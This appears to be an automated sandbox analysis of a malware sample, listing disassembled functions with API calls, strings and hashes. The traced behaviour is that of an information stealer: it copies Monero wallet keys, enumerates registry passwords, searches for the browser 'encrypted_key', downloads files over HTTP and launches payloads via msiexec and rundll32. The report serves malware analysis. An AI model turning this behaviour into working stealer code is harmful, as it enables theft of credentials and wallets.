Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: ccfc5633a3e997968cb97f5da800aee359712528095651efe75b0e7902bfbc57
Instruction ID: 71343bf4e2d6d1e1fbbfd0a3a7423df15d3693e8e64538fe119a131828c995cb
Opcode Fuzzy Hash: ccfc5633a3e997968cb97f5da800aee359712528095651efe75b0e7902bfbc57
Instruction Fuzzy Hash: 2E12EA72810118AADF19EBA4DD92FEEB778EF14300F504159F50666192EF346B4ACFB2

Function 00D952C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

Part of subcall function 00D86280: InternetOpenA.WININET(00DA0DFE,00000001,00000000,00000000,00000000), ref: 00D862E1
Part of subcall function 00D86280: StrCmpCA.SHLWAPI(?,0182EB68), ref: 00D86303
Part of subcall function 00D86280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D86335
Part of subcall function 00D86280: HttpOpenRequestA.WININET(00000000,GET,?,0182E1B0,00000000,00000000,00400100,00000000), ref: 00D86385
Part of subcall function 00D86280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D863BF
Part of subcall function 00D86280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D863D1

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D95318
lstrlen.KERNEL32(00000000), ref: 00D9532F

Part of subcall function 00D98E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D98E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00D95364
lstrlen.KERNEL32(00000000), ref: 00D95383
lstrlen.KERNEL32(00000000), ref: 00D953AE

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Strings

ERROR, xrefs: 00D9530A
ERROR, xrefs: 00D95432
ERROR, xrefs: 00D953B9
ERROR, xrefs: 00D954A9
ERROR, xrefs: 00D9546F

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 3257e729362bcc09f0bf0d279ee6342fcab0fc47b5247288c845f9352134fbff
Instruction ID: ab6f42ad454759c9818138b00bda0b2604d7856348c0c7f0893aeec003024fd8
Opcode Fuzzy Hash: 3257e729362bcc09f0bf0d279ee6342fcab0fc47b5247288c845f9352134fbff
Instruction Fuzzy Hash: D851FB359201589BDF14FF68D996AED7779EF10300F504128F40A6B592EF34AB4ACBB2

Function 00D912D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 128b54afcf273bf84556cd76a8ad4839d472919ecb6888c4f554b77d58ded1dc
Instruction ID: 2180a96f8a7dcf7bd13bf15c8704ddde6c7014af7655ab3f168c53189177ff40
Opcode Fuzzy Hash: 128b54afcf273bf84556cd76a8ad4839d472919ecb6888c4f554b77d58ded1dc
Instruction Fuzzy Hash: ACC193B690021D9BCF14EF60DD8AFEA7378FB54304F004599E50AA7281DA74EA85DFB1

Function 00D94280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D98DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D98E0B

lstrcat.KERNEL32(?,00000000), ref: 00D942EC
lstrcat.KERNEL32(?,0182E150), ref: 00D9430B
lstrcat.KERNEL32(?,?), ref: 00D9431F
lstrcat.KERNEL32(?,0182D068), ref: 00D94333

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D98D90: GetFileAttributesA.KERNEL32(00000000,?,00D81B54,?,?,00DA564C,?,?,00DA0E1F), ref: 00D98D9F

Part of subcall function 00D89CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00D89D39

Part of subcall function 00D899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D899EC
Part of subcall function 00D899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D89A11
Part of subcall function 00D899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D89A31
Part of subcall function 00D899C0: ReadFile.KERNEL32(000000FF,?,00000000,00D8148F,00000000), ref: 00D89A5A
Part of subcall function 00D899C0: LocalFree.KERNEL32(00D8148F), ref: 00D89A90
Part of subcall function 00D899C0: CloseHandle.KERNEL32(000000FF), ref: 00D89A9A

Part of subcall function 00D993C0: GlobalAlloc.KERNEL32(00000000,00D943DD,00D943DD), ref: 00D993D3

StrStrA.SHLWAPI(?,0182E1F8), ref: 00D943F3
GlobalFree.KERNEL32(?), ref: 00D94512

Part of subcall function 00D89AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D84EEE,00000000,00000000), ref: 00D89AEF
Part of subcall function 00D89AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00D84EEE,00000000,?), ref: 00D89B01
Part of subcall function 00D89AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D84EEE,00000000,00000000), ref: 00D89B2A
Part of subcall function 00D89AC0: LocalFree.KERNEL32(?,?,?,?,00D84EEE,00000000,?), ref: 00D89B3F

lstrcat.KERNEL32(?,00000000), ref: 00D944A3
StrCmpCA.SHLWAPI(?,00DA08D1), ref: 00D944C0
lstrcat.KERNEL32(00000000,00000000), ref: 00D944D2
lstrcat.KERNEL32(00000000,?), ref: 00D944E5
lstrcat.KERNEL32(00000000,00DA0FB8), ref: 00D944F4

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 24d62747f1035ddba5acbddb5c070713824d3b30b3d2240af240df725290cd6e
Instruction ID: 862bc27c1e0ff6ee17cb2befe8237b99e96603dbf19c97624700683b67b36217
Opcode Fuzzy Hash: 24d62747f1035ddba5acbddb5c070713824d3b30b3d2240af240df725290cd6e
Instruction Fuzzy Hash: 037152B6900208ABCF14FBA4DC96FEE7379AB48304F044598F60597181EA35EB49DFB1

Function 00D81310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D812A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D812B4
Part of subcall function 00D812A0: RtlAllocateHeap.NTDLL(00000000), ref: 00D812BB
Part of subcall function 00D812A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00D812D7
Part of subcall function 00D812A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00D812F5
Part of subcall function 00D812A0: RegCloseKey.ADVAPI32(?), ref: 00D812FF

lstrcat.KERNEL32(?,00000000), ref: 00D8134F
lstrlen.KERNEL32(?), ref: 00D8135C
lstrcat.KERNEL32(?,.keys), ref: 00D81377

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Part of subcall function 00D98B60: GetSystemTime.KERNEL32(00DA0E1A,0182A480,00DA05AE,?,?,00D813F9,?,0000001A,00DA0E1A,00000000,?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D98B86

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00D81465

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

Part of subcall function 00D899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D899EC
Part of subcall function 00D899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D89A11
Part of subcall function 00D899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D89A31
Part of subcall function 00D899C0: ReadFile.KERNEL32(000000FF,?,00000000,00D8148F,00000000), ref: 00D89A5A
Part of subcall function 00D899C0: LocalFree.KERNEL32(00D8148F), ref: 00D89A90
Part of subcall function 00D899C0: CloseHandle.KERNEL32(000000FF), ref: 00D89A9A

DeleteFileA.KERNEL32(00000000), ref: 00D814EF

Strings

\Monero\wallet.keys, xrefs: 00D8138D
wallet_path, xrefs: 00D81330
.keys, xrefs: 00D8136B
SOFTWARE\monero-project\monero-core, xrefs: 00D81335

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 58756c96be4e220bf963ca69a7cf783a671e2f8246c32bc2324de7e413064fd6
Instruction ID: e534b559216225f319dc196a9da0f77e78b38b273306555ff6d51ad1338928b8
Opcode Fuzzy Hash: 58756c96be4e220bf963ca69a7cf783a671e2f8246c32bc2324de7e413064fd6
Instruction Fuzzy Hash: 9B5123B29501199BCB15FB64DD92FED737CEF54300F404598B60AA2091EE706B89CFB6

Function 00D875D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D872D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00D8733A
Part of subcall function 00D872D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00D873B1
Part of subcall function 00D872D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00D8740D
Part of subcall function 00D872D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00D87452
Part of subcall function 00D872D0: HeapFree.KERNEL32(00000000), ref: 00D87459

lstrcat.KERNEL32(00000000,00DA17FC), ref: 00D87606
lstrcat.KERNEL32(00000000,00000000), ref: 00D87648
lstrcat.KERNEL32(00000000, : ), ref: 00D8765A
lstrcat.KERNEL32(00000000,00000000), ref: 00D8768F
lstrcat.KERNEL32(00000000,00DA1804), ref: 00D876A0
lstrcat.KERNEL32(00000000,00000000), ref: 00D876D3
lstrcat.KERNEL32(00000000,00DA1808), ref: 00D876ED
task.LIBCPMTD ref: 00D876FB

Strings

: , xrefs: 00D8764E

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: e97e23e1ff637df88ad13ebd4f315a5517095ed556988c04622970704afb3b28
Instruction ID: c21b3e53558195e15155ba56975fc64cb246e3e7b8b4ecf0301a1613a9c72296
Opcode Fuzzy Hash: e97e23e1ff637df88ad13ebd4f315a5517095ed556988c04622970704afb3b28
Instruction Fuzzy Hash: 1131277690020DEFCB44FBB4DD9ADEE7779EB44305B244118F102A7290DA34A946EBB2

Function 00D98100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0182E090,00000000,?,00DA0E2C,00000000,?,00000000), ref: 00D98130
RtlAllocateHeap.NTDLL(00000000), ref: 00D98137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00D98158
__aulldiv.LIBCMT ref: 00D98172
__aulldiv.LIBCMT ref: 00D98180
wsprintfA.USER32 ref: 00D981AC

Strings

@, xrefs: 00D9814D
%d MB, xrefs: 00D981A3

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 1f77b37c83877f741556bcd4848e49a725f0fa598db8f5876dd45390e2bc6c16
Instruction ID: 4207f82bf1b09a954ff419350017d5d7566ca1547c2fa53433b06383d0f1a3e6
Opcode Fuzzy Hash: 1f77b37c83877f741556bcd4848e49a725f0fa598db8f5876dd45390e2bc6c16
Instruction Fuzzy Hash: BF21F7B1E44218ABDB00DFD4CD4AFAEB7B8EB45B14F104609F605BB280D778A9018BB5

Function 00D860A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

Part of subcall function 00D847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D84839
Part of subcall function 00D847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D84849

InternetOpenA.WININET(00DA0DF7,00000001,00000000,00000000,00000000), ref: 00D8610F
StrCmpCA.SHLWAPI(?,0182EB68), ref: 00D86147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00D8618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00D861B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00D861DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D8620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00D86249
InternetCloseHandle.WININET(?), ref: 00D86253
InternetCloseHandle.WININET(00000000), ref: 00D86260

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: c793f8cac17c3913c7305c4517dba8a033a2602044f620da8fe1f65848f876a1
Instruction ID: 672951caa364d4963cdfdb3e58f52a301cece6cb78ed2ebe934ee48b23e904dd
Opcode Fuzzy Hash: c793f8cac17c3913c7305c4517dba8a033a2602044f620da8fe1f65848f876a1
Instruction Fuzzy Hash: 2F515EB190021CABDF20EF50DD4ABEE77B8FF44705F108198A605A7181DB74AA89DFA5

Function 00D872D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00D8733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00D873B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00D8740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00D87452
HeapFree.KERNEL32(00000000), ref: 00D87459
task.LIBCPMTD ref: 00D87555

Strings

Password, xrefs: 00D87401

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: e5802d6159fee6be384500b5c8dbe43f8aa623422a3c4f37417483921f884f7d
Instruction ID: 365331db1d78f5f5b62f63056638e44d8d27ecc5659b78c9fd708f02fbeb7ceb
Opcode Fuzzy Hash: e5802d6159fee6be384500b5c8dbe43f8aa623422a3c4f37417483921f884f7d
Instruction Fuzzy Hash: CC6128B590422C9BDB24EB50CC45BDAB7B8FF44304F1481E9E689A6141DB70AAC9CFB0

Function 00D8BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
